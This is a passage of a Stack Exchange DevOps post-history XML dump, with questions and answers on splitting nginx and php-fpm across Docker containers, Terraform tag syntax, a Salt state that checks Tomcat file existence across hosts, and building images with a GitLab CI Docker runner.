  <row Id="6632" PostHistoryTypeId="24" PostId="2105" RevisionGUID="a8a3a081-618c-4e43-918e-63a730e6ab3b" CreationDate="2017-09-22T05:54:20.283" Comment="Proposed by 739 approved by 707, 40 edit id of 447" ContentLicense="CC BY-SA 3.0" />
  <row Id="6633" PostHistoryTypeId="5" PostId="2090" RevisionGUID="60bdc594-c306-4dc9-89d2-8d4c361134e5" CreationDate="2017-09-22T08:33:10.907" UserId="13" Comment="added 1786 characters in body" Text="PHP with nginx is usually done using php-fpm which is a separate processus.&#xD;&#xA;&#xD;&#xA;Keeping the core idea of docker of one process per container this makes sense to have the nginx process and php-fpm process in separate containers.&#xD;&#xA;&#xD;&#xA;As the communication between nginx and php-fpm arise through fastcgi the php-fpm container can also be on a separated host and this allows using a cluster of php-fpm containers behind nginx.&#xD;&#xA;&#xD;&#xA;After the wall of comment here's a little more background, docker documentation have paragraph about the idea that [a container should have only one concern](https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#each-container-should-have-only-one-concern).&#xD;&#xA;&#xD;&#xA;The main idea of a linux container (**lxc**) is to run a process in an isolated namespace at the cpu and memory level, docker add on top of this an isolation at the filesystem level.  &#xD;&#xA;The advantage is that the compromission of a process within this namespace won't allow to read memory of other processes and as such should prevent other compromission on the host.&#xD;&#xA;&#xD;&#xA;While talking about nginx and php-fpm, they work in pair but each has it's own concern, nginx will do the HTTP part, routing, headers validation, etc. and php-fpm will do the code interpretation and return the html part to nginx. While it's usual to have both together serving a single application that's not mandatory.&#xD;&#xA;&#xD;&#xA;Depending on context it may be easier to have container including the whole stack for an application, on a developer workstation for exemple. But ideally for production use, try to keep the fewer interaction inside the container, having separated processes in the same container with supervisord brings its share of problem in term of zombie process and log handling.&#xD;&#xA;&#xD;&#xA;So finally I'll quote the docker page with some emphasis:&#xD;&#xA;&#xD;&#xA;&gt; While “one process per container” is frequently a good rule of thumb, it is not a hard and fast rule. **Use your best judgment to keep containers as clean and modular as possible**.&#xD;&#xA;&#xD;&#xA;There's no &quot;silver bullet rule&quot; which apply to everything, it's always a balance between the complexity withing the container and the complexity orchestrating the containers themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="6634" PostHistoryTypeId="2" PostId="2115" RevisionGUID="cfd9abf8-92b7-47f0-99f0-dd8f80c9905e" CreationDate="2017-09-22T08:33:49.387" UserId="2708" Text="To attach multiple tags to a resource, I currently use multiple `tag` blocks:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;instance&quot; {&#xD;&#xA;      ...&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Name&quot;&#xD;&#xA;        value               = &quot;${var.cluster_prefix}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Owner&quot;&#xD;&#xA;        value               = &quot;${var.tag_Owner}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Project&quot;&#xD;&#xA;        value               = &quot;${var.tag_Project}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It works, but I wonder if there is a more concise syntax. It is also a bit error prone as you have to specify `propagate_at_launch` for each tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="6635" PostHistoryTypeId="1" PostId="2115" RevisionGUID="cfd9abf8-92b7-47f0-99f0-dd8f80c9905e" CreationDate="2017-09-22T08:33:49.387" UserId="2708" Text="Terraform: Is there a concise syntax for specifying multiple tags for a resource?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6636" PostHistoryTypeId="3" PostId="2115" RevisionGUID="cfd9abf8-92b7-47f0-99f0-dd8f80c9905e" CreationDate="2017-09-22T08:33:49.387" UserId="2708" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6637" PostHistoryTypeId="2" PostId="2116" RevisionGUID="e2a409f3-54cc-4d00-a5d5-4db13f0ddd56" CreationDate="2017-09-22T08:36:54.087" UserId="503" Text="For an `auto-scaling-group` this is the most concise syntax available.&#xD;&#xA;&#xD;&#xA;For most other resources you use the `tags` syntax which looks like:&#xD;&#xA;&#xD;&#xA;    tags {&#xD;&#xA;      Key1 = &quot;value1&quot;&#xD;&#xA;      Key2 = &quot;value2&quot;&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="6638" PostHistoryTypeId="5" PostId="2090" RevisionGUID="abd8ea26-80b4-42d2-acc3-32cdff2cf556" CreationDate="2017-09-22T08:38:15.527" UserId="13" Comment="added 1786 characters in body" Text="PHP with nginx is usually done using php-fpm which is a separate processus.&#xD;&#xA;&#xD;&#xA;Keeping the core idea of docker of one process per container this makes sense to have the nginx process and php-fpm process in separate containers.&#xD;&#xA;&#xD;&#xA;As the communication between nginx and php-fpm arise through fastcgi the php-fpm container can also be on a separated host and this allows using a cluster of php-fpm containers behind nginx.&#xD;&#xA;&#xD;&#xA;After the wall of comment here's a little more background, docker documentation have paragraph about the idea that [a container should have only one concern](https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#each-container-should-have-only-one-concern).&#xD;&#xA;&#xD;&#xA;The main idea of a linux container (**lxc**) is to run a process in an isolated namespace at the cpu and memory level, docker add on top of this an isolation at the filesystem level.  &#xD;&#xA;The advantage is that the compromission of a process within this namespace won't allow to read memory of other processes and as such should prevent other compromission on the host.&#xD;&#xA;&#xD;&#xA;While talking about nginx and php-fpm, they work in pair but each has it's own concern, nginx will do the HTTP part, routing, headers validation, etc. and php-fpm will do the code interpretation and return the html part to nginx. While it's usual to have both together serving a single application that's not mandatory.&#xD;&#xA;&#xD;&#xA;Depending on context it may be easier to have a container including the whole stack for an application, on a developer workstation for exemple. But ideally for production use, try to keep the fewer interaction inside the container, having separated processes in the same container with supervisord brings its share of problem in term of zombie process and log handling (exemple story [here](https://www.google.fr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwi6u6DSsbjWAhVmqFQKHcGjBXwQFggnMAA&amp;url=https%3A%2F%2Fblog.deimos.fr%2F2016%2F01%2F13%2Fdocker-why-you-should-use-monit-instead-of-supervisord%2F&amp;usg=AFQjCNGSFNEpM5C7dTlLQ1czMyW89FFepw) for illustration purpose only).&#xD;&#xA;&#xD;&#xA;So finally I'll quote the docker page with some emphasis:&#xD;&#xA;&#xD;&#xA;&gt; While “one process per container” is frequently a good rule of thumb, it is not a hard and fast rule. **Use your best judgment to keep containers as clean and modular as possible**.&#xD;&#xA;&#xD;&#xA;There's no &quot;silver bullet rule&quot; which apply to everything, it's always a balance between the complexity withing the container and the complexity orchestrating the containers themselves." ContentLicense="CC BY-SA 3.0" />
  <row Id="6640" PostHistoryTypeId="2" PostId="2117" RevisionGUID="869e3ca5-9f08-43e1-9cb9-d583237d329b" CreationDate="2017-09-22T08:42:57.370" UserId="3055" Text="I recently asked a question here: https://devops.stackexchange.com/questions/2058/is-it-possible-to-use-multiple-if-statements-in-a-salt-state&#xD;&#xA;&#xD;&#xA;Thanks to the answer I have managed to update my state to only check specific files exist on specific servers defined in the if statement. However, there's an issue with one server, the state runs fine against it and doesn't error, however it is only checking 32 files on TEST-SERVER-04, whereas it's 'DEV' counterpart (defined in the same if statement) has all 50 files checked.&#xD;&#xA;&#xD;&#xA;For the life of me I can't work out why! If I try running the state directly against the server (i.e. salt 'test-server-04' state.sls filecheck') it still does the same thing! I have checked my syntax repeatedly, checked for white lines etc but to no avail! I'm sure somebody will be able to point out what I have done wrong here!&#xD;&#xA;&#xD;&#xA;Below is a snippet of the affected code:&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] in ['DEV-SERVER-04', 'TEST-SERVER-04'] %}&#xD;&#xA;&#xD;&#xA;    tees-ehcache.xml:&#xD;&#xA;    file.exists:&#xD;&#xA;    - name: /opt/jhc/ajb-tees/config/ehcache.xml&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;	&#xD;&#xA;It may also be worth mentioning that I have used the above method in multiple areas across my state for the same purpose, yet targeting dev/test-server-01, 02, 03 etc without problems. It's specifically a problem with this section of code as other sections which target TEST-SERVER-04 in the state work fine (as I mentioned it runs 32/50)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6641" PostHistoryTypeId="1" PostId="2117" RevisionGUID="869e3ca5-9f08-43e1-9cb9-d583237d329b" CreationDate="2017-09-22T08:42:57.370" UserId="3055" Text="Salt State is running against all servers except one, why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6642" PostHistoryTypeId="3" PostId="2117" RevisionGUID="869e3ca5-9f08-43e1-9cb9-d583237d329b" CreationDate="2017-09-22T08:42:57.370" UserId="3055" Text="&lt;salt&gt;&lt;jinja&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6646" PostHistoryTypeId="2" PostId="2119" RevisionGUID="09179711-4249-4993-9e07-017e473a482e" CreationDate="2017-09-22T10:23:37.633" UserId="4465" Text="I am trying to build a docker image using Gitlab Docker runner. &#xD;&#xA;&#xD;&#xA;For this I have configured the runner with a shared volume in _/etc/gitlab-runner/config.toml_ called _/builds_:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;My Docker Runner&quot;&#xD;&#xA;      url = &quot;http://host&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxxxxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;docker:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/var/run/docker.sock:/var/run/docker.sock&quot;, &quot;/cache&quot;, &quot;/builds&quot;]&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;I created a _.gitlab-ci.yml_ in my repo which loosely looks like this:&#xD;&#xA;&#xD;&#xA;    image: alpine:latest&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      GIT_STRATEGY: none&#xD;&#xA;      &#xD;&#xA;    test_ci:&#xD;&#xA;      script:&#xD;&#xA;        - apk update&#xD;&#xA;        - apk add docker&#xD;&#xA;        - apk add git&#xD;&#xA;        - docker info&#xD;&#xA;        - git clone http://gitlab-ci-token:${CI_JOB_TOKEN}@host/user/repo.git /builds/user/repo&#xD;&#xA;        - docker build -t database .&#xD;&#xA;        - docker run database&#xD;&#xA;&#xD;&#xA;I have also created a _Dockerfile_ in the repo which looks like this:&#xD;&#xA;&#xD;&#xA;    FROM postgres:9.6&#xD;&#xA;    &#xD;&#xA;    ADD /builds/user/repo/script.sql /docker-entrypoint-initdb.d/&#xD;&#xA;&#xD;&#xA;Everything works alright except for the Docker _ADD_ instruction which fails because the _/builds/user/repo/script.sql_ cannot be found:&#xD;&#xA;&#xD;&#xA;    ADD failed: stat /var/lib/docker/tmp/docker-builder886348850/builds/user/repo/script.sql: no such file or directory&#xD;&#xA;&#xD;&#xA;So I imagine that the _/builds_ volume I am trying to share between containers is not working as I am expecting it to ... Could someone help me with this? I would like to be able to share the code which is cloned on the runner container to the _docker build_ command and then to the newly created container. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6647" PostHistoryTypeId="1" PostId="2119" RevisionGUID="09179711-4249-4993-9e07-017e473a482e" CreationDate="2017-09-22T10:23:37.633" UserId="4465" Text="Building a Docker container using Gitlab CI docker runner" ContentLicense="CC BY-SA 3.0" />
  <row Id="6648" PostHistoryTypeId="3" PostId="2119" RevisionGUID="09179711-4249-4993-9e07-017e473a482e" CreationDate="2017-09-22T10:23:37.633" UserId="4465" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6649" PostHistoryTypeId="5" PostId="2117" RevisionGUID="c1aa0522-ff3e-46dc-a925-9de0378c2a0f" CreationDate="2017-09-22T10:36:28.080" UserId="3055" Comment="added 15290 characters in body" Text="I recently asked a question here: https://devops.stackexchange.com/questions/2058/is-it-possible-to-use-multiple-if-statements-in-a-salt-state&#xD;&#xA;&#xD;&#xA;Thanks to the answer I have managed to update my state to only check specific files exist on specific servers defined in the if statement. However, there's an issue with one server, the state runs fine against it and doesn't error, however it is only checking 32 files on TEST-SERVER-04, whereas it's 'DEV' counterpart (defined in the same if statement) has all 50 files checked.&#xD;&#xA;&#xD;&#xA;For the life of me I can't work out why! If I try running the state directly against the server (i.e. salt 'test-server-04' state.sls filecheck') it still does the same thing! I have checked my syntax repeatedly, checked for white lines etc but to no avail! I'm sure somebody will be able to point out what I have done wrong here!&#xD;&#xA;&#xD;&#xA;Below is a snippet of the affected code:&#xD;&#xA;&#xD;&#xA;    ######################################################################################################################## // THIS STATE IS USED TO CHECK THAT ALL MINIONS (JL/TL LINUX SERVERS) IDENTIFIED AS 'WEBSERVER' HAVE THE CORRECT CONFIGURATION FILES AND SERVICES IN PLACE.&#xD;&#xA;    #######################################################################################################################&#xD;&#xA;    &#xD;&#xA;    checkservices.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/checkservices.sh&#xD;&#xA;    &#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    # // THIS SECTION CHECKS THE CONFIG FILES IN /OPT/TOMCAT/CONF EXIST&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    catalina.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/catalina.properties&#xD;&#xA;    &#xD;&#xA;    logging.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/logging.properties&#xD;&#xA;    &#xD;&#xA;    web.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/web.xml&#xD;&#xA;    &#xD;&#xA;    tomcat-users.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;       - name: /opt/tomcat/conf/tomcat-users.xml&#xD;&#xA;    &#xD;&#xA;    server.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/server.xml&#xD;&#xA;    &#xD;&#xA;    context.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/context.xml&#xD;&#xA;    &#xD;&#xA;    catalina.policy:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/conf/catalina.policy&#xD;&#xA;    &#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    # // THIS SECTION CHECKS THE CORRECT JHC SCRIPTS ARE IN /OPT/TOMCAT/BIN (JHC JETS ADMINISTRATION SCRIPTS)&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    jhcshutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhcshutdown.sh&#xD;&#xA;    &#xD;&#xA;    jhcstartup.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhcstartup.sh&#xD;&#xA;    &#xD;&#xA;    jhc-tomcat-util.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhc-tomcat-util.sh&#xD;&#xA;    &#xD;&#xA;    jhc-tomcat-before-startup.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhc-tomcat-before-startup.sh&#xD;&#xA;    &#xD;&#xA;    jhc-tomcat-after-startup.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhc-tomcat-after-startup.sh&#xD;&#xA;    &#xD;&#xA;    jhc-tomcat-after-shutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/jhc-tomcat-after-shutdown.sh&#xD;&#xA;    &#xD;&#xA;    shutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/shutdown.sh&#xD;&#xA;    &#xD;&#xA;    startup.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/startup.sh&#xD;&#xA;    &#xD;&#xA;    version.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/version.sh&#xD;&#xA;    &#xD;&#xA;    tool-wrapper.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/tool-wrapper.sh&#xD;&#xA;    &#xD;&#xA;    setclasspath.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/setclasspath.sh&#xD;&#xA;    &#xD;&#xA;    digest.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/digest.sh&#xD;&#xA;    &#xD;&#xA;    daemon.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/daemon.sh&#xD;&#xA;    &#xD;&#xA;    configtest.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/configtest.sh&#xD;&#xA;    &#xD;&#xA;    catalina.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/catalina.sh&#xD;&#xA;    &#xD;&#xA;    bootstrap.jar:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/bin/bootstrap.jar&#xD;&#xA;    &#xD;&#xA;    #####################################################################################################################                      THIS SECTION CHECKS THAT THE TOMCAT LOGS ARE PRESENT IN /OPT/TOMCAT/LOGS/&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    jhc.jets.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/jhc.jets.log&#xD;&#xA;    &#xD;&#xA;    catalina.out:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/catalina.out&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJT-TC-04', 'BCA-AJU-TC-04', 'BCA-AJT-TC-05', 'BCA-AJU-TC-05', 'BCA-AJT-TC-07', 'BCA-AJU-TC-07'] %}&#xD;&#xA;    &#xD;&#xA;    demo-admin.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/demo-admin.log&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    minion.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /var/log/salt/minion&#xD;&#xA;    &#xD;&#xA;    lynis.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /var/log/lynis.log&#xD;&#xA;    &#xD;&#xA;    ##################################################################################################################### 						TEES FINANCIAL SPECIFIC CONFIG&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJU-TC-04', 'BCA-AJT-TC-04'] %}&#xD;&#xA;    &#xD;&#xA;    tees-pom.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/META-INF/maven/jhc.client.F63.web.figaroweb/ajb-2/pom.properties&#xD;&#xA;    &#xD;&#xA;    tees-pom.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/META-INF/maven/jhc.client.F63.web.figaroweb/ajb-2/pom.xml&#xD;&#xA;    &#xD;&#xA;    tees-web.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/WEB-INF/web.xml&#xD;&#xA;    &#xD;&#xA;    tees-jets-jca-client.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/WEB-INF/classes/conf/jets-jca-client.xml&#xD;&#xA;    &#xD;&#xA;    tees-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/index.html&#xD;&#xA;    &#xD;&#xA;    tees-logo.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/statics/images/logo.png&#xD;&#xA;    &#xD;&#xA;    tees-logo_website1.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/statics/images/logo_website1.png&#xD;&#xA;    &#xD;&#xA;    tees-notfound.gif:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/statics/images/notfound.gif&#xD;&#xA;    &#xD;&#xA;    tees-sessionKeepAliveImage.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website1/images/sessionKeepAliveImage.png&#xD;&#xA;    &#xD;&#xA;    tees-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/site.properties&#xD;&#xA;    &#xD;&#xA;    tees.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/ajb-2.properties&#xD;&#xA;    &#xD;&#xA;    tees-common-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/common-site.properties&#xD;&#xA;    &#xD;&#xA;    tees-environment.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/environment.properties&#xD;&#xA;    &#xD;&#xA;    tees-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/Admin.properties&#xD;&#xA;    &#xD;&#xA;    tees-log4j-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/log4j-Client.properties&#xD;&#xA;    &#xD;&#xA;    tees-log4j-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/log4j-Admin.properties&#xD;&#xA;    &#xD;&#xA;    tees-website1.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/website1.properties&#xD;&#xA;    &#xD;&#xA;    tees-ehcache.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/ajb-2/config/ehcache.xml&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    #####################################################################################################################                                           DART CAPITAL SPECIFIC CONFIG&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJT-TC-03', 'BCA-AJU-TC-03'] %}&#xD;&#xA;    &#xD;&#xA;    dart-pom.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/META-INF/maven/jhc.client.F63.web.figaroweb/website2/pom.properties&#xD;&#xA;    &#xD;&#xA;    dart-pom.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/META-INF/maven/jhc.client.F63.web.figaroweb/website2/pom.xml&#xD;&#xA;    &#xD;&#xA;    dart-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/index.html&#xD;&#xA;    &#xD;&#xA;    dart-logo.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/statics/images/logo.png&#xD;&#xA;    &#xD;&#xA;    dart-notfound.gif:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/statics/images/notfound.gif&#xD;&#xA;    &#xD;&#xA;    dart-sessionKeepAlive.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website2/images/sessionKeepAliveImage.png&#xD;&#xA;    &#xD;&#xA;    dart.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/dart.log&#xD;&#xA;    &#xD;&#xA;    dart-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/site.properties&#xD;&#xA;    &#xD;&#xA;    dart-common-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/common-site.properties&#xD;&#xA;    &#xD;&#xA;    dart-environment.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/environment.properties&#xD;&#xA;    &#xD;&#xA;    dart-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;       - name: /opt/jhc/website2/config/Admin.properties&#xD;&#xA;    &#xD;&#xA;    dart-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/Client.properties&#xD;&#xA;    &#xD;&#xA;    dart-log4j-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/log4j-Client.properties&#xD;&#xA;    &#xD;&#xA;    dart-log4j-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/log4j-Admin.properties&#xD;&#xA;    &#xD;&#xA;    dart-ehcache.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website2/config/ehcache.xml&#xD;&#xA;    &#xD;&#xA;    dart-website2-client.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/website2-client.log&#xD;&#xA;    &#xD;&#xA;    dart-website2-admin.log:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/logs/website2-admin.log&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    #####################################################################################################################                                           website3 SPECIFIC CONFIG&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJT-TC-07', 'BCA-AJU-TC-07'] %}&#xD;&#xA;    &#xD;&#xA;    website3-pom.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/META-INF/maven/jhc.client.F63.web.figaroweb/website3/pom.xml&#xD;&#xA;    &#xD;&#xA;    website3-pom.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/META-INF/maven/jhc.client.F63.web.figaroweb/website3/pom.properties&#xD;&#xA;    &#xD;&#xA;    website3-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/index.html&#xD;&#xA;    &#xD;&#xA;    website3-logo.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/statics/images/logo.png&#xD;&#xA;    &#xD;&#xA;    website3-notfound.gif:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/statics/images/notfound.gif&#xD;&#xA;    &#xD;&#xA;    website3-sessionKeepAlive.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website3/images/sessionKeepAliveImage.png&#xD;&#xA;    &#xD;&#xA;    website3-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/site.properties&#xD;&#xA;    &#xD;&#xA;    website3.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/website3.properties&#xD;&#xA;    &#xD;&#xA;    website3-common-site.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/common-site.properties&#xD;&#xA;    &#xD;&#xA;    website3-environment.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/environment.properties&#xD;&#xA;    &#xD;&#xA;    website3-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;       - name: /opt/jhc/website3/config/Admin.properties&#xD;&#xA;    &#xD;&#xA;    website3-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/Client.properties&#xD;&#xA;    &#xD;&#xA;    website3-log4j-Client.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/log4j-Client.properties&#xD;&#xA;    &#xD;&#xA;    website3-log4j-Admin.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/log4j-Admin.properties&#xD;&#xA;    &#xD;&#xA;    website3-ehcache.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/ehcache.xml&#xD;&#xA;    &#xD;&#xA;    website3-website3.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/jhc/website3/config/website3.properties&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    ##################################################################################################################### 						MONEY MATTERS SPECIFIC CONFIG&#xD;&#xA;    ####################################################################################################################&#xD;&#xA;    &#xD;&#xA;    {% if grains['host'] in ['BCA-AJT-TC-05', 'BCA-AJU-TC-05'] %}&#xD;&#xA;    &#xD;&#xA;    website4-pom.xml:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website4/META-INF/maven/jhc.client.F63.web.figaroweb/ajb-1/pom.xml&#xD;&#xA;    &#xD;&#xA;    website4-pom.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website4/META-INF/maven/jhc.client.F63.web.figaroweb/ajb-1/pom.properties&#xD;&#xA;    &#xD;&#xA;    website4-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/website4/index.html&#xD;&#xA;    &#xD;&#xA;    website4-logo.png:&#xD;&#xA;      file.exists:&#xD;&#xA;        - 